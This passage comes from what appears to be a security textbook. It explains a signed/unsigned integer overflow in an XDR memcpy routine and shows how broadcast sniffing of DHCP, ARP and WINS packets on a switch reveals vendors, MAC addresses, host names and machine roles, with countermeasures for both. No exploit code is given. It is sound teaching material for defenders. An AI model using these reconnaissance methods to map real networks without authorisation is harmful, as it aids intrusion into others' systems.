If you haven't spotted it yet, this is an integer overflow caused by a signed/unsigned mismatch. `len` is a signed integer and, as discussed, if a signed integer is converted to an unsigned integer, any negative value stored within the signed integer is converted to a large positive value when stored within the unsigned integer. Therefore, if we pass a negative value into the `xdrmem_getbytes()` function for `len`, we will bypass the check in [1], and the `memcpy()` in [2] will read past the bounds of `xdrs->x_private` because

the third parameter to `memcpy()` will upgrade our signed integer `len` to an unsigned integer automatically. `memcpy()` is then told that the length of the data is a huge positive number. This vulnerability is not easy to exploit remotely as the various operating systems implement `memcpy()` differently.

Integer Overflow Attack Countermeasures

Integer overflow attacks enable buffer overflow attacks, thus, many of the aforementioned buffer overflow countermeasures apply.

As we saw with format string attacks, the lack of secure programming practices is the root cause of integer overflows and integer sign attacks. Code reviews and a deep understanding of how the programming language in use deals with overflows and sign conversion is the key to developing secure applications.

Lastly, the best places to look for integer overflows are in signed and unsigned comparison or arithmetic routines, loop control structures such as `for()`, and variables used to hold lengths of user input data.

EXCERPT FROM CHAPTER 7: "NETWORK DEVICES"

Broadcast Sniffing

One often underestimated hacker technique is to simply listen on a switch. By plugging into a switch and running a packet analyzer like Snort, you will find a world of broadcast treasures that can be used to introduce a whole series of headaches for system and network administrators. Take the first example, the DHCP broadcast:

```
11/27-08:35:38.912270 0.0.0.0:68 -> 255.255.255.255:67
UDP TTL:128 TOS:0x0 ID:59170 IpLen:20 DgmLen:332
Len: 304
0x0000: FF FF FF FF FF FF 00 06 5B 02 67 F1 08 00 45 00  ........[.g...E.
0x0010: 01 4C E7 22 00 00 80 11 52 7F 00 00 00 00 FF FF  .L."....R.......
0x0020: FF FF 00 44 00 43 01 38 C0 93 01 01 06 00 13 11  ...D.C.8........
0x0030: 74 17 0B 00 00 00 00 00 00 00 00 00 00 00 00 00  t...............
0x0040: 00 00 00 00 00 00 00 06 5B 02 67 F1 00 00 00 00  ........[.g.....
0x0050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
0x0060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
0x0070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
0x0080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
0x0090: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
0x00A0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
0x00B0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
0x00C0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
0x00D0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
```

```
0x00E0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
0x00F0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
0x0100: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
0x0110: 00 00 00 00 00 00 63 82 53 63 35 01 03 3D 07 01  ......c.Sc5..=..
0x0120: 00 06 5B 02 67 F1 32 04 C0 A8 00 C0 0C 07 42 4C  ..[.g.2.......BL
0x0130: 41 48 44 45 45 51 0B 00 00 00 42 4C 41 48 44 45  AHDEEQ....BLAHDE
0x0140: 45 2E 3C 08 4D 53 46 54 20 35 2E 30 37 0B 01 0F  E.<.MSFT 5.07...
0x0150: 03 06 2C 2E 2F 1F 21 F9 2B FF                    ..,./.!.+.
```

Now let's look at a DHCP reply:

```
11/27-22:27:44.438059 192.168.0.1:67 -> 192.168.0.60:68
UDP TTL:32 TOS:0x0 ID:38962 IpLen:20 DgmLen:576 DF
Len: 548
0x0000: 00 0D 60 C5 4A B8 00 30 BD 6C C0 E2 08 00 45 00  ..'.J..0.l....E.
0x0010: 02 40 98 32 40 00 20 11 3E ED C0 A8 00 01 C0 A8  .@.2@. .>.......
0x0020: 00 3C 00 43 00 44 02 2C 98 32 02 01 06 00 18 23  .<.C.D.,.2.....#
0x0030: 19 EC 00 00 00 00 C0 A8 00 3C C0 A8 00 3C 00 00  .........<...<..
0x0040: 00 00 00 00 00 00 00 0D 60 C5 4A B8 00 00 00 00  ........'.J.....
0x0050: 00 00 00 00 00 00 FF 00 00 00 00 00 00 00 00 00  ................
0x0060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
0x0070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
0x0080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
0x0090: 00 00 00 00 00 00 FF 00 00 00 00 00 00 00 00 00  ................
0x00A0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
0x00B0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
0x00C0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
0x00D0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
0x00E0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
0x00F0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
0x0100: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
0x0110: 00 00 00 00 00 00 63 82 53 63 35 01 05 36 04 C0  ......c.Sc5..6..
0x0120: A8 00 01 01 04 FF FF FF 00 33 04 FF FF FF FF 34  .........3.....4
0x0130: 01 03 0F 06 42 65 6C 6B 69 6E 03 04 C0 A8 00 01  ....Belkin......
0x0140: 06 04 C0 A8 00 01 1F 01 01 FF 00 00 00 00 00 00  ................
0x0150: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
0x0160: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
0x0170: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
0x0180: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
0x0190: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
0x01A0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
0x01B0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
0x01C0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
0x01D0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
```

```
0x01E0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
0x01F0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
0x0200: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
0x0210: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
0x0220: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
0x0230: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
0x0240: 00 00 00 00 00 00 00 00 00 00 00 00 00 00        ..............
```

Do you see what we see? Check out 0x0134 through 0x0139—the word "Belkin." That's right, the DHCP reply packet is coming from a Belkin DHCP server. Most likely a router of some sort. Don't you like how vendors help hackers?

Let's also check out an ARP broadcast. Each device that plugs into the network will (when it wants to connect to another host on the network) send out an ARP broadcast packet. This packet effectively asks all devices on the network to respond if they have a particular IP address. If the device has that IP address, it will respond with an ARP reply stating its MAC address (the hardware address needed to send traffic). As you can see here, this reply reveals a number of jewels:

```
11/27-22:18:50.011058 ARP who-has 192.168.0.1 tell 192.168.0.192
11/27-22:18:50.012221 ARP reply 192.168.0.1 is-at 0:30:BD:7C:C1:E2
```

Often the first job of the hacker is to learn as much about his target as possible. This ARP sniffing technique provides him with both the network address (192.168.0.0) and the live IP addresses of the potential targets (192.168.0.1 and 192.168.0.192). Additionally, the MAC address is now known (0:30:BD:7C:C1:E2), which can do wonders for some ARP spoofing attacks.

Next, we take a look at WINS broadcast packets. This is by far and away the most valuable data for the hacker. By listening on the wire for a sufficient period of time (let's say 24 hours), an attacker can gather enough information to know exactly what systems to target and how. Take a look at a Snort log of WINS broadcast traffic:

```
11/27-22:27:57.379464 192.168.0.60:138 -> 192.168.0.255:138
UDP TTL:128 TOS:0x0 ID:22 IpLen:20 DgmLen:205
Len: 177
0x0000: FF FF FF FF FF FF 00 0D 60 C5 4A B8 08 00 45 00  ........'.J...E.
0x0010: 00 CD 00 16 00 00 80 11 B7 7E C0 A8 00 3C C0 A8  .........~...<..
0x0020: 00 FF 00 8A 00 8A 00 B9 7A C4 11 02 80 06 C0 A8  ........z.......
0x0030: 00 3C 00 8A 00 A3 00 00 20 45 47 46 44 43 4E 46  .<...... EGFDCNF
0x0040: 44 46 45 46 46 43 41 43 41 43 41 43 41 43 41 43  DFEFFCACACACACAC
0x0050: 41 43 41 43 41 43 41 41 41 00 20 46 48 45 50 46  ACACACAAA. FHEPF
0x0060: 43 45 4C 45 48 46 43 45 50 46 46 46 41 43 41 43  CELEHFCEPFFFACAC
0x0070: 41 43 41 43 41 43 41 43 41 42 4E 00 FF 53 4D 42  ACACACACABN..SMB
0x0080: 25 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  %...............
0x0090: 00 00 00 00 00 00 00 00 00 00 00 00 11 00 00 09  ................
```

```
0x00A0: 00 00 00 00 00 00 00 00 00 E8 03 00 00 00 00 00  ................
0x00B0: 00 00 00 09 00 56 00 03 00 01 00 01 00 02 00 1A  .....V..........
0x00C0: 00 5C 4D 41 49 4C 53 4C 4F 54 5C 42 52 4F 57 53  .\MAILSLOT\BROWS
0x00D0: 45 00 02 00 46 53 2D 53 54 55 00                 E...FS-STU.
```

As you can see, the packet belongs to a Windows workstation. The following items are a dead giveaway:

- ▼ **\MAILSLOT\BROWSE** The tell-tale sign of a broadcasting WINS workstation.
- ■ **WORKGROUP** This is the default Windows group assigned to workstations (you may see the domain name of the system it is sniffing as well).
- ▲ **FS-STU** This is the NetBIOS name of the device sending the broadcast packet.

Now let's look at another WINS broadcast packet. This is almost identical, but can you see the difference?

```
11/27-22:27:54.365667 192.168.0.60:138 -> 192.168.0.255:138
UDP TTL:128 TOS:0x0 ID:17 IpLen:20 DgmLen:239
Len: 211
0x0000: FF FF FF FF FF FF 00 0D 60 C5 4A B8 08 00 45 00  ........'.J...E.
0x0010: 00 EF 00 11 00 00 80 11 B7 61 C0 A8 00 3C C0 A8  .........a...<..
0x0020: 00 FF 00 8A 00 8A 00 DB 0D 01 11 02 80 03 C0 A8  ................
0x0030: 00 3C 00 8A 00 C5 00 00 20 45 47 46 44 43 4E 46  .<...... EGFDCNF
0x0040: 44 46 45 46 46 43 41 43 41 43 41 43 41 43 41 43  DFEFFCACACACACAC
0x0050: 41 43 41 43 41 43 41 43 41 00 20 46 48 45 50 46  ACACACACA. FHEPF
0x0060: 43 45 4C 45 48 46 43 45 50 46 46 46 41 43 41 43  CELEHFCEPFFFACAC
0x0070: 41 43 41 43 41 43 41 43 41 42 4E 00 FF 53 4D 42  ACACACACABN..SMB
0x0080: 25 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  %...............
0x0090: 00 00 00 00 00 00 00 00 00 00 00 00 11 00 00 2B  ...............+
0x00A0: 00 00 00 00 00 00 00 00 00 E8 03 00 00 00 00 00  ................
0x00B0: 00 00 00 2B 00 56 00 03 00 01 00 00 00 02 00 3C  ...+.V.........<
0x00C0: 00 5C 4D 41 49 4C 53 4C 4F 54 5C 42 52 4F 57 53  .\MAILSLOT\BROWS
0x00D0: 45 00 01 00 80 A9 03 00 46 53 2D 53 54 55 00 00  E.......FS-STU..
0x00E0: 00 00 00 00 00 00 00 00 05 02 03 90 80 00 0F 01  ................
0x00F0: 55 AA 41 63 63 6F 75 6E 74 69 6E 67 00           U.Accounting.
```

We now see the target's computer description value. Remember the little thing that gets (optionally) filled out when you install the Windows operating system? Or when you later right-click the My Computer icon and select Properties? This field is often used by companies as a place to set the role of the computer in the network, in our example, the computer's role is "Accounting." Now we not only know the NetBIOS name (which can be helpful in spoofing) but also know its role. So if a hacker wants to go after systems in

the accounting department, he knows who that might include as well as an IP address of a system on that network.

As you can see from the above, while these sniffing techniques may not produce the holy grail of hacks for the attacker, these techniques help the hacker by providing information that is often perceived as un-sniffable on a switch.

Broadcast Sniffing Countermeasure

Unfortunately, you cannot do much to eliminate or even mitigate this threat effectively. The only real option is to assign a particular port to a Virtual LAN (VLAN), which limits the users of a particular broadcast domain. This way, if you have critical and sensitive systems, you can move them to their own VLAN and prevent just anyone from plugging into the system's switch and listening in on traffic.